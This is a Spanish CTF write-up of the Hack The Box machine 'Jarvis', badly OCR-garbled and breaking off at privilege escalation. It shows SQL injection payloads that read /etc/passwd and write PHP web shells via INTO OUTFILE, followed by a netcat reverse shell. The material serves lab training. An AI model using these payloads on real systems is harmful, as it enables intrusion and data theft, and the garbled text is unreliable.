Writeup CTF Jarvis
Hack The Box

Jarvis




&

INDICE
O- INEFOAUCCION. .....uiiiiiiiiiiiiiece ettt e e e e e s n e e 2
N o 1W< = Vo o T SR UUUR PSSP 2
L. NV AP s 2
1.2. ENUuMeEracion deir€CtONOS. ... .uuuuriiiiiiiiiiiieee e et smnne e e 3
2= EXPIOtACION. ...cciiiiiiiiiiee ettt 5
2. 1. Il nyecci -n SQiuietned.ap.kpee.c.i.:..n..nb
2.2. Ganar acces0 al SISTEMIA.........cooiiiiiiiiieeer bbb eeenre bbb 10
2.3. Pivoting usuario wwydata a PEPPEL.........ccoovvviiiiiiiiiieeeee et 11
3-  Elevacion de privilegios.........coooveiiiiiiiiiiicmr e 14

0O 0 ms



O- Introduccidn

Jarvises un CTF de dificultad Medium que podemos encontrar en la plataforma de Hack
The Box. Es una aplicacion web vulnerable a inyeccion SQL, existe un script de Python
vulnerable a la inyeccion de comandos y finalmente, abusaremos de un binario SUID para
obtener el acceso root.

1- Enumeracion

NMAP
Como siempre, comenzamos realizando un escaneo de los servicios abiertos en el target.

/home/kali/Desktop/HackTheBox/Jarvis
i 8.143 G allports

A1l addr will E d 'up' and scan times may be slower.
i EDT

psed (1008 total ports)

C closed
STATE SERVICE
ssh

Read data files fr us in / nmap
Nmap done: 1 IP address (1 host up) scanned in @
Raw packets sent: 1010 (44.440KB) |

/home/kali/Desktop/HackTheBox/Jarvis
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Una vez tenemos los puertos de la maquina, vamos a realizar un escaneo mas exhaustivo
de los servicios abiertos.

SERVICE REASON VERSION

5H 7.4pl1 Debian 1@+deb%ué

65:16:67 (RSA)
sDRbIsdZhch

Hotel

thods: GET HEAD POS




Serviciosdisponibles

- Puerto 80 HTTP
-  Puerto 22 SSH

1.2. Enumeracion de directorios
Al visitar la URL http://1010.10.143:80obtenemos un sitio web de un hotel llamado
Stark Hotel.

supersecurehotel.htb Call: +123456789 Sign in Utilities

STARK Home Rooms Dining & Bar
HOTEL

Welcome to the Stark Hotel

A Luxury Hotel

VIEW DETAIL KNOW MORE

Vamos a buscar directorios interesantes para esta web. Para ello, vamos a utilizar la
herramienta dirsearch.



http://1010.10.143/

/home/kali/Desktop/HackTheBox/Jarvis
dirsearch -u "http://10.10.10.143:80" -i 200,301

Extensions: HTTP method: Threads: Wordlist size

Output File: /root/.dirsearch/reports/10.10.10.143-80/_22-07-19_05-48-34.txt

Error Log: /root/.dirsearch/logs/errors-22-07-19_05-48-34.log

— http://10.10.10.143/js/
— http://10.10.10.143/css/
-> http://10.10.10.143/fonts/

— http://10.10.10.143/images/

— http://10.10.10.143/phpmyadmin/

Task Completed

Tenemos un resultado que puede ser interesante, /phpmtadmin.

& 10.10.10.143

php
Welcome to phpMyAdmin
Language
English v
Log in g
Username: “
Password:

Go




phpMyAdmin es una herramienta destinada a manejar la administracion de MySQL en
la Web.phpMyAdmin admite una amplia gama de operaciones en MySQL y MariaDB.
Las operaciones de uso frecuente (administracion de bases de datos, tablas, columnas,
relaciones, indices, usuarios, permisos, etc.) se pueden realizar a través de la interfaz de
usuario.

Puede ser (til mas adelante si encontramos credenciales validas, pero por el momento,
seguimos en la web.

2- Explotacion

HOMP® LYy2@SOOAsY { M[dASW APLIKABEOOAsSY AGANR2Ya
Hacemos clic en cualquiera de las habitaciones disponibles. Vemos goédifisdes
contienen un pardmetro cod mas el nimero de habitacion.

<« > C ®@ O A 10.10.10.143 : %

Superior Family Room

> 2 7 () / per night

Superior room, perfect for luxury families. Big room with a lot of extras

Go to book!

Vamos a probar si es vulnerable a inyecci
Esto genera un comportamiento erroneo en la aplicacion.

r



supersecurehotel.htb Call: +123456789 Sign in Utilities

STARK Home Rooms Dining & Bar
HOTEL

$/ per night

Request

Pretty Hex Bl =

GET /room.php?cod=1+and+1=1 HTTP/1.1

Host: 10.10.10.143

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/96.0.4664.45 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, */*;
q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close
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0 matches

Response

Pretty Raw Hex

n

Superior Family Room

$ 2 70 / per night




&

Realizamos esta peticion cditand+1=1. Se recupera la informacién de la habitacion,
lo cual nos indica que el parametro es vulnerable a inyeccion SQL. El siguiente paso sera
determinar el nimero de columnas de la consulta.

cod=1+union+select+1
cod=1+union+select+1,2
cod=1+union+sel&+1,2,3
cod=1+union+select+1,2,3,4
cod=1+union+select+1,2,3,4,5
cod=1+union+select+1,2,3,4,5,6
cod=1+union+select+1,2,3,4,5,6,7
cod=1+union+select+1,2,3,4,5,6,7,8

Realizo solicitudes con diferentes nimeros de columnas y solo se provoca un error cuando
introducimos la octava columna. Esto significa que la consulta tiene 7 columnas.

Una vez tenemos la informacién anterior, vamos a intentar extraer informeaii@gando
inyecciones SQL. 7

Request

Fretty Hex \n | =

1 GET /room.php?cod=-1+union+select+1l,2, user(] ,4,5,6,?+--+-| HTTP/1.1

2 Host: 10.10.10.143

= Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit,/537.36 (KHTML, like Gecko)
Chrome/96,0, 4664, 45 Safari/537.36

5 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/webp, image/apng, */*;g=0.8, application
/signed-exchange;v=b3;q=0.9

5 Referer: http://10.10.10.143/rooms-suites.php

7 Accept-Encoding: gzip, deflate

2 Accept-Language: en-US,en;g=0.9

9 Cookie: PHPSESSID=4augj4cSvyvrdugdl rj23a98plsd

L0 Connection: close

L1l

Lz

::!)Q} || search... 0 matches
Response

Fretty Raw Hex

5
2

sDBadmin@localhost pe g

Tenemos un usuaridBadmin.




Request

Pretty Hex n =

GET /room.php?cod=-l+union+select+l,2,3,4,databasel .6, 7+--+- HTTP/1.1

Host: 10.10.10.143

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64; x64) AppleWebKit/S537.36 (KHTML, like Gecko)
Chrome/96.0, 4664, 45 Safari/537.36

Accept:

text/htnl,application/xhtml+xml, application/xml;g=0.9,image/avif, image/webp,image/apng, */*;q=0.8, application
/signed-exchange;v=b3;q=0.9

Referer: http://10.10.10.143/roomns-suites.php

Accept -Encoding: gzip, deflate

Accept -Language: en-US,en:g=0.9

Cookie: PHPSESSID=4augj4cSvvrduqdlriz3agspld

Connection: close
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Response

0 matches

Pretty Raw Hex

hotel

2

$ 3 / per night

Tenemos el nombre de la base de ddtotel.

Vamos a probar si podemos leer archivos a través de esta vulnerabilidad de SQLiI.

Ll = B
Request

Pretty

Hex B iy =

GET frnom.php?cod=-1+uninn+select+1,2,1oad_file["}etc!passud"],4,5,6,7+--+-|HTTPfl.l

Host: 10.10.10.143

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wins4; x54) AppleWebKit/537.36 (KHTML, like Gecko
Chrome/95.0.4564, 45 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml g=0.9, inage/avif.image/webp,image apng, * /¥ q=0.8,application
/signed-exchange;v=b3:q=0.9

Referer: http://10.10.10.143/rooms-suites . php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie: PHPSESSID=4augj4cSvvrdugdlri23asspld

Connection: close

oWk

wn

MHQWO o

?)@ ‘E”El | Search... 0 matches

Response

Pretty Raw Hex

2

sroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nolc
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin




Tenemos la posibilidad de leer archivos internos del sistema. Sabiendo esto, vamos a
intentar subir archivos al sistema objetivo.

Request
1

ety | v B 0 =

1 GET /room.php?cod=-l+union+select+l, 2, "EL+HACKER+ETICO" , 4,5, 6, T+into+out file+" fvar www/html /test  tut"+--+-

HTTP/1.1

Host: 10,10.10.143

Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/95,0, 4664, 45 Safari/537.36

5 Accept:
text/html,application/xhtml+xml, application/xml;g=0.9, image/avif, image/webp, image /apng, */%;q=0.8, application
/signed-exchange;v=b3:;q=0.9

& Referer: http://10.10,10.143/roomns-suites.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Wk

S Cookie: PHPSESSID=4augjdcSvvrdugdlri23a9spld
10 Connection: close

EL HACKER ETICO 4

Una vez creamos la peticiérigylanzamos, si navegamos ioip://10.10.10.143/test.txt
vemos el contenido del archivo que hemos creado.

Sabiendo estoyamos a crear una Shell PHP gieieba y la colocamos en el mismo
directorio.

1uwuuﬁ:

Pretty IHHHI Hex g ' =

1 GET /froom.php?cod=

—l+uni0n+se1ect+l,2,"113fphp+system['whoami'J%3h+%3f}",4,5,6,?+int0+0utfi1e+“fvarfwwwfhtmlfshell[php"+——+-

HTTR/1.1

Host: 10.10.10.143

Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/95.0, 4664, 45 Safari/537.36

5 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,inage/avif,image,/webp,image/apng, */*;g=0.8,application
f/signed-exchange;v=hb3;0=0.9

& Referer: http://10.10.10.143/rooms-suites.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

9 Cookie: PHPSESSID=4augjdcSvyrdugdlr]23adspld

10 Connection: close

Wk

@ 10.10.10.143/shell.php x  +

< C A Notsecure | 10.10.10.143

12www-datad 567



http://10.10.10.143/test.txt

Podcemos ver el usuario wwagata. Vamos a intentar ganar acceso al sistema.

2.2. Ganar acceso al sistema
Ya sabemos que podemos subir archivos al sistema a partir de la vulnerabilidad de SQL.
Sabiendo esto, vamos a crear una Shell reversa.

Request

pretty [ Hex B 0 =

1 GET froom.php?cod=
-l+union+select+l, 2, "<%3fphp+system($_REQUEST[ 'cmd']])%3b+%3f>",4,5,6, T+into+out file+" /var/www/html /shellrev,
php"+--+-| HTTP/1.1

2 Host: 10,10.10.143

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTHML, like Geckao)
Chrome/9&. 0, 4664, 45 Safari/537.36

» Accept:

text/html, applications/xhtml+xml,application/xml:g=0.9,inage/avif, inage /webp,inage/apng, */*;q=0.8,application
fsigned-exchange; v=h3;g=0.9

& Referer: http://10.10.10.143/rooms-suites.php

Accept-Encoding: gzip., deflate

5 Accept-Language: en-US,en;g=0.9

9 Cookie: PHPSESSID=4aug]4cSvvrdugdlri23a98plsd

10 Connection: close

L

@ 10.10.10.143/shellrev.php x <+

& C A Notsecure | 10.10.10.143/sh:

10

1 2 uid=33(www-data) gid=33(www-data) groups=33(www-data) 456 7

Lanzamos una reverse Shell. Previamente, colocamos a la escucha la maquina atacante.
10.10.10.143/shellrev.php  x

< X @ 10.10.10.143/sh:

fhome/kali/Desktop/HackTheBox/Jarvis
; . 4000
listening on [any] 4008@
connect to [18.18.16.6] from (UNKNOWN) [19.10.10.143
whoami
s -data

Estamos dentro del sistema.

Antes de continuar la Shell a una Bash, para facilitar el trabajo.

script /dev/null -c bash

Vamos a comprobar que comandos podemos ejecutar con el usuardatavnin ciertas
ocasiones puede llevarnos a una escalada de privilegios.




faults entries for www-data on jarvis:

:fusr/local/bin\: /usr/sbin\: fusr/bin\:/sbin\:/bin

Como vemos el usuario wwdata puede ejecutar el script simple.py copepper.
Veamos que funcion tiene este script.

11

Si ejecutamos el script, podemos observar una utilidad que lanza pings a maquinas
definidas por el comanda.













